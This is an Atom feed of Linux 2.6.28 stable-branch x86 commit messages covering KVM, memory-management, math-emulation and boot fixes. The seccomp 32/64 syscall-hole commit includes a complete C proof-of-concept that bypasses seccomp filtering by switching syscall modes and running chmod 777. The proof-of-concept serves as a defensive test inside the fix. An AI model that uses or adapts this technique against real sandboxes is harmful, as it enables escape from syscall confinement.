<feed xmlns='http://www.w3.org/2005/Atom'>
<title>kernel.git/arch/x86/include, branch linux-2.6.28.y</title>
<subtitle>Hosts the 0x221E linux distro kernel.
</subtitle>
<id>https://git.0xinfinity.dev/distro/kernel.git/atom?h=linux-2.6.28.y</id>
<link rel='self' href='https://git.0xinfinity.dev/distro/kernel.git/atom?h=linux-2.6.28.y'/>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/'/>
<updated>2009-05-02T17:57:07Z</updated>
<entry>
<title>KVM: MMU: Fix aliased gfns treated as unaliased</title>
<updated>2009-05-02T17:57:07Z</updated>
<author>
<name>Izik Eidus</name>
</author>
<published>2009-03-23T20:51:24Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=e93d4df4cf013df5ab84c4967b9bfeecbb0f8c0d'/>
<id>urn:sha1:e93d4df4cf013df5ab84c4967b9bfeecbb0f8c0d</id>
<content type='text'>
(cherry picked from 2843099fee32a6020e1caa95c6026f28b5d43bff)

Some areas of kvm x86 mmu are using gfn offset inside a slot without
unaliasing the gfn first.  This patch makes sure that the gfn will be
unaliased and add gfn_to_memslot_unaliased() to save the calculating
of the gfn unaliasing in case we have it unaliased already.

Signed-off-by: Izik Eidus &lt;ieidus@redhat.com&gt;
Acked-by: Marcelo Tosatti &lt;mtosatti@redhat.com&gt;
Signed-off-by: Avi Kivity &lt;avi@redhat.com&gt;
Signed-off-by: Greg Kroah-Hartman &lt;gregkh@suse.de&gt;
</content>
</entry>
<entry>
<title>KVM: MMU: Extend kvm_mmu_page-&gt;slot_bitmap size</title>
<updated>2009-05-02T17:57:04Z</updated>
<author>
<name>Sheng Yang</name>
</author>
<published>2009-03-23T20:51:20Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=503e5b567be966f1ad7193c1e58878f8c0a9b5f2'/>
<id>urn:sha1:503e5b567be966f1ad7193c1e58878f8c0a9b5f2</id>
<content type='text'>
(cherry picked from 291f26bc0f89518ad7ee3207c09eb8a743ac8fcc)

Otherwise set_bit() for private memory slot(above KVM_MEMORY_SLOTS) would
corrupted memory in 32bit host.

Signed-off-by: Sheng Yang &lt;sheng@linux.intel.com&gt;
Signed-off-by: Avi Kivity &lt;avi@redhat.com&gt;
Signed-off-by: Greg Kroah-Hartman &lt;gregkh@suse.de&gt;
</content>
</entry>
<entry>
<title>Fix misreporting of #cores as #hyperthreads for Q9550</title>
<updated>2009-03-23T21:55:23Z</updated>
<author>
<name>Joe Korty</name>
</author>
<published>2009-03-19T17:28:58Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=157b13d83e8430243b1f075532ed42ecfc10a26b'/>
<id>urn:sha1:157b13d83e8430243b1f075532ed42ecfc10a26b</id>
<content type='text'>
For the Q9550, in x86_64 mode, /proc/cpuinfo mistakenly
thinks the #cores present is the #hyperthreads present.
i386 mode was not examined but is assumed to have the
same problem.

A backport of the following three 2.6.29-rc1 patches
fixes the problem:

 066941bd4eeb159307a5d7d795100d0887c00442:
    [PATCH] x86: unmask CPUID levels on Intel CPUs
 99fb4d349db7e7dacb2099c5cc320a9e2d31c1ef:
    [PATCH] x86: unmask CPUID levels on Intel CPUs, fix
 bdf21a49bab28f0d9613e8d8724ef9c9168b61b9:
    [PATCH] x86: add MSR_IA32_MISC_ENABLE bits to &lt;asm/msr-index.h&gt;

From the first patch: "If the CPUID limit bit in
MSR_IA32_MISC_ENABLE is set, clear it to make all CPUID
information available.  This is required for some features
to work, in particular XSAVE."

Originally-Developed-by: H. Peter Anvin &lt;hpa@linux.intel.com&gt;
Backported-by: Joe Korty &lt;joe.korty@ccur.com&gt;
Signed-off-by: Joe Korty &lt;joe.korty@ccur.com&gt;
Cc: Ingo Molnar &lt;mingo@elte.hu&gt;
Signed-off-by: Greg Kroah-Hartman &lt;gregkh@suse.de&gt;

</content>
</entry>
<entry>
<title>x86: fix math_emu register frame access</title>
<updated>2009-03-17T00:32:44Z</updated>
<author>
<name>Tejun Heo</name>
</author>
<published>2009-02-09T13:17:39Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=bf7fced49e689f01f0b5c12046e193116aa03221'/>
<id>urn:sha1:bf7fced49e689f01f0b5c12046e193116aa03221</id>
<content type='text'>
commit d315760ffa261c15ff92699ac6f514112543d7ca upstream.

do_device_not_available() is the handler for #NM and it declares that
it takes a unsigned long and calls math_emu(), which takes a long
argument and surprisingly expects the stack frame starting at the zero
argument would match struct math_emu_info, which isn't true regardless
of configuration in the current code.

This patch makes do_device_not_available() take struct pt_regs like
other exception handlers and initialize struct math_emu_info with
pointer to it and pass pointer to the math_emu_info to math_emulate()
like normal C functions do.  This way, unless gcc makes a copy of
struct pt_regs in do_device_not_available(), the register frame is
correctly accessed regardless of kernel configuration or compiler
used.

This doesn't fix all math_emu problems but it at least gets it
somewhat working.

Signed-off-by: Tejun Heo &lt;tj@kernel.org&gt;
Signed-off-by: Ingo Molnar &lt;mingo@elte.hu&gt;
Signed-off-by: Greg Kroah-Hartman &lt;gregkh@suse.de&gt;

</content>
</entry>
<entry>
<title>x86: math_emu info cleanup</title>
<updated>2009-03-17T00:32:44Z</updated>
<author>
<name>Tejun Heo</name>
</author>
<published>2009-02-09T13:17:39Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=bc6449f4d3b44c4a114d07315043756597f2fa72'/>
<id>urn:sha1:bc6449f4d3b44c4a114d07315043756597f2fa72</id>
<content type='text'>
commit ae6af41f5a4841f06eb92bc86ad020ad44ae2a30 upstream.

Impact: cleanup

* Come on, struct info?  s/struct info/struct math_emu_info/

* Use struct pt_regs and kernel_vm86_regs instead of defining its own
  register frame structure.

Signed-off-by: Tejun Heo &lt;tj@kernel.org&gt;
Signed-off-by: Ingo Molnar &lt;mingo@elte.hu&gt;
Signed-off-by: Greg Kroah-Hartman &lt;gregkh@suse.de&gt;

</content>
</entry>
<entry>
<title>x86/paravirt: make arch_flush_lazy_mmu/cpu disable preemption</title>
<updated>2009-03-17T00:32:43Z</updated>
<author>
<name>Jeremy Fitzhardinge</name>
</author>
<published>2009-02-12T18:02:56Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=45034a11bbd9d8c3831a07aa8038ed72eaba7019'/>
<id>urn:sha1:45034a11bbd9d8c3831a07aa8038ed72eaba7019</id>
<content type='text'>
commit d85cf93da66977dbc645352be1b2084a659d8a0b upstream.

Impact: avoid access to percpu vars in preempible context

They are intended to be used whenever there's the possibility
that there's some stale state which is going to be overwritten
with a queued update, or to force a state change when we may be
in lazy mode.  Either way, we could end up calling it with
preemption enabled, so wrap the functions in their own little
preempt-disable section so they can be safely called in any
context (though preemption should never be enabled if we're actually
in a lazy state).

(Move out of line to avoid #include dependencies.)

Signed-off-by: Jeremy Fitzhardinge &lt;jeremy.fitzhardinge@citrix.com&gt;
Signed-off-by: Thomas Gleixner &lt;tglx@linutronix.de&gt;
Signed-off-by: Greg Kroah-Hartman &lt;gregkh@suse.de&gt;

</content>
</entry>
<entry>
<title>x86-64: seccomp: fix 32/64 syscall hole</title>
<updated>2009-03-17T00:32:21Z</updated>
<author>
<name>Roland McGrath</name>
</author>
<published>2009-02-28T07:25:54Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=1ab4bad21786384ff68dc6576d021acd4e42d8ce'/>
<id>urn:sha1:1ab4bad21786384ff68dc6576d021acd4e42d8ce</id>
<content type='text'>
commit 5b1017404aea6d2e552e991b3fd814d839e9cd67 upstream.

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

	/* test case for seccomp circumvention on x86-64

	   There are two failure modes: compile with -m64 or compile with -m32.

	   The -m64 case is the worst one, because it does "chmod 777 ." (could
	   be any chmod call).  The -m32 case demonstrates it was able to do
	   stat(), which can glean information but not harm anything directly.

	   A buggy kernel will let the test do something, print, and exit 1; a
	   fixed kernel will make it exit with SIGKILL before it does anything.
	*/

	#define _GNU_SOURCE
	#include &lt;assert.h&gt;
	#include &lt;inttypes.h&gt;
	#include &lt;stdio.h&gt;
	#include &lt;linux/prctl.h&gt;
	#include &lt;sys/stat.h&gt;
	#include &lt;unistd.h&gt;
	#include &lt;asm/unistd.h&gt;

	int
	main (int argc, char **argv)
	{
	  char buf[100];
	  static const char dot[] = ".";
	  long ret;
	  unsigned st[24];

	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");

	#ifdef __x86_64__
	  assert ((uintptr_t) dot &lt; (1UL &lt;&lt; 32));
	  asm ("int $0x80 # %0 &lt;- %1(%2 %3)"
	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
	  ret = snprintf (buf, sizeof buf,
			  "result %ld (check mode on .!)\n", ret);
	#elif defined __i386__
	  asm (".code32\n"
	       "pushl %%cs\n"
	       "pushl $2f\n"
	       "ljmpl $0x33, $1f\n"
	       ".code64\n"
	       "1: syscall # %0 &lt;- %1(%2 %3)\n"
	       "lretl\n"
	       ".code32\n"
	       "2:"
	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&amp;st));
	  if (ret == 0)
	    ret = snprintf (buf, sizeof buf,
			    "stat . -&gt; st_uid=%u\n", st[7]);
	  else
	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
	#else
	# error "not this one"
	#endif

	  write (1, buf, ret);

	  syscall (__NR_exit, 1);
	  return 2;
	}

Signed-off-by: Roland McGrath &lt;roland@redhat.com&gt;
[ I don't know if anybody actually uses seccomp, but it's enabled in
  at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds &lt;torvalds@linux-foundation.org&gt;
Signed-off-by: Greg Kroah-Hartman &lt;gregkh@suse.de&gt;

</content>
</entry>
<entry>
<title>mm: clean up for early_pfn_to_nid()</title>
<updated>2009-03-17T00:31:58Z</updated>
<author>
<name>KAMEZAWA Hiroyuki</name>
</author>
<published>2009-02-18T22:48:32Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=603960f6f771f0416630a12a41ee3805eaabd4ec'/>
<id>urn:sha1:603960f6f771f0416630a12a41ee3805eaabd4ec</id>
<content type='text'>
commit f2dbcfa738368c8a40d4a5f0b65dc9879577cb21 upstream.

What's happening is that the assertion in mm/page_alloc.c:move_freepages()
is triggering:

	BUG_ON(page_zone(start_page) != page_zone(end_page));

Once I knew this is what was happening, I added some annotations:

	if (unlikely(page_zone(start_page) != page_zone(end_page))) {
		printk(KERN_ERR "move_freepages: Bogus zones: "
		       "start_page[%p] end_page[%p] zone[%p]\n",
		       start_page, end_page, zone);
		printk(KERN_ERR "move_freepages: "
		       "start_zone[%p] end_zone[%p]\n",
		       page_zone(start_page), page_zone(end_page));
		printk(KERN_ERR "move_freepages: "
		       "start_pfn[0x%lx] end_pfn[0x%lx]\n",
		       page_to_pfn(start_page), page_to_pfn(end_page));
		printk(KERN_ERR "move_freepages: "
		       "start_nid[%d] end_nid[%d]\n",
		       page_to_nid(start_page), page_to_nid(end_page));
 ...

And here's what I got:

	move_freepages: Bogus zones: start_page[2207d0000] end_page[2207dffc0] zone[fffff8103effcb00]
	move_freepages: start_zone[fffff8103effcb00] end_zone[fffff8003fffeb00]
	move_freepages: start_pfn[0x81f600] end_pfn[0x81f7ff]
	move_freepages: start_nid[1] end_nid[0]

My memory layout on this box is:

[    0.000000] Zone PFN ranges:
[    0.000000]   Normal   0x00000000 -&gt; 0x0081ff5d
[    0.000000] Movable zone start PFN for each node
[    0.000000] early_node_map[8] active PFN ranges
[    0.000000]     0: 0x00000000 -&gt; 0x00020000
[    0.000000]     1: 0x00800000 -&gt; 0x0081f7ff
[    0.000000]     1: 0x0081f800 -&gt; 0x0081fe50
[    0.000000]     1: 0x0081fed1 -&gt; 0x0081fed8
[    0.000000]     1: 0x0081feda -&gt; 0x0081fedb
[    0.000000]     1: 0x0081fedd -&gt; 0x0081fee5
[    0.000000]     1: 0x0081fee7 -&gt; 0x0081ff51
[    0.000000]     1: 0x0081ff59 -&gt; 0x0081ff5d

So it's a block move in that 0x81f600--&gt;0x81f7ff region which triggers
the problem.

This patch:

Declaration of early_pfn_to_nid() is scattered over per-arch include
files, and it seems it's complicated to know when the declaration is used.
 I think it makes fix-for-memmap-init not easy.

This patch moves all declaration to include/linux/mm.h

After this,
  if !CONFIG_NODES_POPULATES_NODE_MAP &amp;&amp; !CONFIG_HAVE_ARCH_EARLY_PFN_TO_NID
     -&gt; Use static definition in include/linux/mm.h
  else if !CONFIG_HAVE_ARCH_EARLY_PFN_TO_NID
     -&gt; Use generic definition in mm/page_alloc.c
  else
     -&gt; per-arch back end function will be called.

Signed-off-by: KAMEZAWA Hiroyuki &lt;kamezawa.hiroyu@jp.fujitsu.com&gt;
Tested-by: KOSAKI Motohiro &lt;kosaki.motohiro@jp.fujitsu.com&gt;
Reported-by: David Miller &lt;davem@davemlloft.net&gt;
Cc: Mel Gorman &lt;mel@csn.ul.ie&gt;
Cc: Heiko Carstens &lt;heiko.carstens@de.ibm.com&gt;
Signed-off-by: Andrew Morton &lt;akpm@linux-foundation.org&gt;
Signed-off-by: Linus Torvalds &lt;torvalds@linux-foundation.org&gt;
Signed-off-by: Greg Kroah-Hartman &lt;gregkh@suse.de&gt;

</content>
</entry>
<entry>
<title>x86, mm: fix pte_free()</title>
<updated>2009-02-02T17:53:19Z</updated>
<author>
<name>Peter Zijlstra</name>
</author>
<published>2009-01-23T16:37:49Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=16fd8be997245025ed5252f12306fff28801335b'/>
<id>urn:sha1:16fd8be997245025ed5252f12306fff28801335b</id>
<content type='text'>
commit 42ef73fe134732b2e91c0326df5fd568da17c4b2 upstream.

On -rt we were seeing spurious bad page states like:

Bad page state in process 'firefox'
page:c1bc2380 flags:0x40000000 mapping:c1bc2390 mapcount:0 count:0
Trying to fix it up, but a reboot is needed
Backtrace:
Pid: 503, comm: firefox Not tainted 2.6.26.8-rt13 #3
[&lt;c043d0f3&gt;] ? printk+0x14/0x19
[&lt;c0272d4e&gt;] bad_page+0x4e/0x79
[&lt;c0273831&gt;] free_hot_cold_page+0x5b/0x1d3
[&lt;c02739f6&gt;] free_hot_page+0xf/0x11
[&lt;c0273a18&gt;] __free_pages+0x20/0x2b
[&lt;c027d170&gt;] __pte_alloc+0x87/0x91
[&lt;c027d25e&gt;] handle_mm_fault+0xe4/0x733
[&lt;c043f680&gt;] ? rt_mutex_down_read_trylock+0x57/0x63
[&lt;c043f680&gt;] ? rt_mutex_down_read_trylock+0x57/0x63
[&lt;c0218875&gt;] do_page_fault+0x36f/0x88a

This is the case where a concurrent fault already installed the PTE and
we get to free the newly allocated one.

This is due to pgtable_page_ctor() doing the spin_lock_init(&amp;page-&gt;ptl)
which is overlaid with the {private, mapping} struct.

union {
    struct {
        unsigned long private;
        struct address_space *mapping;
    };
    spinlock_t ptl;
    struct kmem_cache *slab;
    struct page *first_page;
};

Normally the spinlock is small enough to not stomp on page-&gt;mapping, but
PREEMPT_RT=y has huge 'spin'locks.

But lockdep kernels should also be able to trigger this splat, as the
lock tracking code grows the spinlock to cover page-&gt;mapping.

The obvious fix is calling pgtable_page_dtor() like the regular pte free
path __pte_free_tlb() does.

It seems all architectures except x86 and nm10300 already do this, and
nm10300 doesn't seem to use pgtable_page_ctor(), which suggests it
doesn't do SMP or simply doesnt do MMU at all or something.

Signed-off-by: Peter Zijlstra &lt;a.p.zijlsta@chello.nl&gt;
Signed-off-by: Ingo Molnar &lt;mingo@elte.hu&gt;
Signed-off-by: Greg Kroah-Hartman &lt;gregkh@suse.de&gt;

</content>
</entry>
<entry>
<title>x86 Fix VMI crash on boot in 2.6.28-rc8</title>
<updated>2008-12-15T00:24:38Z</updated>
<author>
<name>Zachary Amsden</name>
</author>
<published>2008-12-13T20:36:58Z</published>
<link rel='alternate' type='text/html' href='https://git.0xinfinity.dev/distro/kernel.git/commit/?id=ae8d04e2ecbb233926860e9ce145eac19c7835dc'/>
<id>urn:sha1:ae8d04e2ecbb233926860e9ce145eac19c7835dc</id>
<content type='text'>
VMI initialiation can relocate the fixmap, causing early_ioremap to
malfunction if it is initialized before the relocation.  To fix this,
VMI activation is split into two phases; the detection, which must
happen before setting up ioremap, and the activation, which must happen
after parsing early boot parameters.

This fixes a crash on boot when VMI is enabled under VMware.

Signed-off-by: Zachary Amsden &lt;zach@vmware.com&gt;
Signed-off-by: Linus Torvalds &lt;torvalds@linux-foundation.org&gt;
</content>
</entry>
</feed>
